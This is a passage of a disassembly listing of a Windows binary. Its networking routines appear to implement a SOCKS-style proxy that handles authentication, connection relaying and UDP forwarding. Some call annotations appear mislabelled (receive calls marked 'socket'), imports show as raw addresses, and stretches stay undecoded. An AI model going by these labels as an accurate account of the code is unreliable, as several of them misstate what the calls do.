
loc_42A56C:				; CODE XREF: sub_42A4E0+84j
		mov	eax, ebx


loc_42A56E:				; CODE XREF: sub_42A4E0+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A612
		test	edi, edi
		jz	short loc_42A612
		jbe	short loc_42A5BC


loc_42A59B:				; CODE XREF: sub_42A4E0+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A612
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A59B


loc_42A5BC:				; CODE XREF: sub_42A4E0+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A5C3:				; CODE XREF: sub_42A4E0+70j
					; sub_42A4E0+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A5D5:				; CODE XREF: sub_42A4E0+100j
		cmp	[ecx], ebx
		jz	short loc_42A5E2
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A5D5


loc_42A5E2:				; CODE XREF: sub_42A4E0+F7j
		cmp	eax, 1
		jnz	short loc_42A5F4
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A5F4:				; CODE XREF: sub_42A4E0+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A501


loc_42A612:				; CODE XREF: sub_42A4E0+B3j
					; sub_42A4E0+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A4E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A690	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A72F
		dec	eax
		jz	short loc_42A6DA
		dec	eax
		jnz	loc_42A822
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A6DA:				; CODE XREF: sub_42A690+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A822
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A74B
; ---------------------------------------------------------------------------


loc_42A72F:				; CODE XREF: sub_42A690+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A74B:				; CODE XREF: sub_42A690+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A822
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A822
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A822


loc_42A7A9:				; CODE XREF: sub_42A690+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A806
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A7A9


loc_42A806:				; CODE XREF: sub_42A690+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A822:				; CODE XREF: sub_42A690+35j
					; sub_42A690+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A8B0	proc near		; CODE XREF: sub_42B370:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AB6A
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42AC86
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AD13
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_437000
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 71689255h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44530468h, 0E8905600h
		dd 716898DAh, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AB6A
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42AA7B:				; CODE XREF: sub_42A8B0+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42AA9F
		test	al, al
		jz	short loc_42AA9B
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42AA9F
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42AA7B


loc_42AA9B:				; CODE XREF: sub_42A8B0+1D5j
		xor	eax, eax
		jmp	short loc_42AAA4
; ---------------------------------------------------------------------------


loc_42AA9F:				; CODE XREF: sub_42A8B0+1D1j
					; sub_42A8B0+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AAA4:				; CODE XREF: sub_42A8B0+1EDj
		test	eax, eax
		jz	short loc_42AB01
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AABE:				; CODE XREF: sub_42A8B0+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AAE2
		test	cl, cl
		jz	short loc_42AADE
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AAE2
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AABE


loc_42AADE:				; CODE XREF: sub_42A8B0+218j
		xor	eax, eax
		jmp	short loc_42AAE7
; ---------------------------------------------------------------------------


loc_42AAE2:				; CODE XREF: sub_42A8B0+214j
					; sub_42A8B0+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AAE7:				; CODE XREF: sub_42A8B0+230j
		test	eax, eax
		jz	short loc_42AB01
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AB01:				; CODE XREF: sub_42A8B0+1F6j
					; sub_42A8B0+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445300
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AB6A
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42ABD1
		sub	eax, 2
		jz	short loc_42AB79
		dec	eax


loc_42AB68:				; CODE XREF: sub_42A8B0+31Fj
		jnz	short loc_42ABE0


loc_42AB6A:				; CODE XREF: sub_42A8B0+32j
					; sub_42A8B0+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AB79:				; CODE XREF: sub_42A8B0+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AB68
; ---------------------------------------------------------------------------


loc_42ABD1:				; CODE XREF: sub_42A8B0+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42ABE0:				; CODE XREF: sub_42A8B0:loc_42AB68j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AB6A
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AB6A
		push	eax
		push	4
		push	offset dword_4452F8
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AC86:				; CODE XREF: sub_42A8B0+47j
		cmp	ax, 2
		jnz	loc_42AD13
		mov	ebx, dword_50FC80


loc_42AC96:				; CODE XREF: sub_42A8B0+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AD13
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AD13
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_437000
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42AC96


loc_42AD13:				; CODE XREF: sub_42A8B0+67j
					; sub_42A8B0+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A8B0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AE50	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42AE64
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE64:				; CODE XREF: sub_42AE50+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42AE76
		dec	eax
		jz	short loc_42AE98
		mov	word ptr [esi+6], 1


loc_42AE76:				; CODE XREF: sub_42AE50+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42AE80:				; CODE XREF: sub_42AE50+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AEA4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE98:				; CODE XREF: sub_42AE50+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42AE80
; ---------------------------------------------------------------------------


loc_42AEA4:				; CODE XREF: sub_42AE50+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AEE9
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AEE9:				; CODE XREF: sub_42AE50+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AF11
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AF11
		mov	edx, [esi+32h]
		push	edx
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AF11:				; CODE XREF: sub_42AE50+9Ej
					; sub_42AE50+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42AE50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AF60	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AF60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AFFA
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AFE1
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AFC6


loc_42AFB2:				; CODE XREF: sub_42AF60+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AFB2


loc_42AFC6:				; CODE XREF: sub_42AF60+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42B01A


loc_42AFE1:				; CODE XREF: sub_42AF60+39j
					; sub_42AF60+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AFF4:				; DATA XREF: ___:00441F7Co
		mov	eax, offset loc_42AFE1
		retn
; ---------------------------------------------------------------------------


loc_42AFFA:				; CODE XREF: sub_42AF60+2Bj
		cmp	ax, 2
		jnz	short loc_42AFE1
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jz	short loc_42AFE1


loc_42B01A:				; CODE XREF: sub_42AF60+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AF60	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B070:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42B0B9:				; DATA XREF: ___:loc_42B0D1o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B0D1:				; DATA XREF: ___:00441FDCo
		mov	eax, offset loc_42B0B9
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B100	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42B177


loc_42B137:				; CODE XREF: ___:0042B206j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B177:				; CODE XREF: sub_42B100+35j
		push	42h
		call	sub_43689A
sub_42B100	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B19C
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B19E
; ---------------------------------------------------------------------------


loc_42B19C:				; CODE XREF: ___:0042B18Fj
		xor	eax, eax


loc_42B19E:				; CODE XREF: ___:0042B19Aj
		mov	dword_50E398, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E398
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E398
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E398
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B137


loc_42B20C:				; CODE XREF: ___:0042B21Dj
		mov	eax, dword_50E398
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B20C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B270	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B292
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B292:				; CODE XREF: sub_42B270+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B270	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2E0	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B2E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B2E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B370	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B370	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B380:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BCA8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D44
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3F0	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B408
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B408:				; CODE XREF: sub_42B3F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B420	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B420	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B440	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_4368E0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B4CC
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B46C:				; CODE XREF: sub_42B440+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
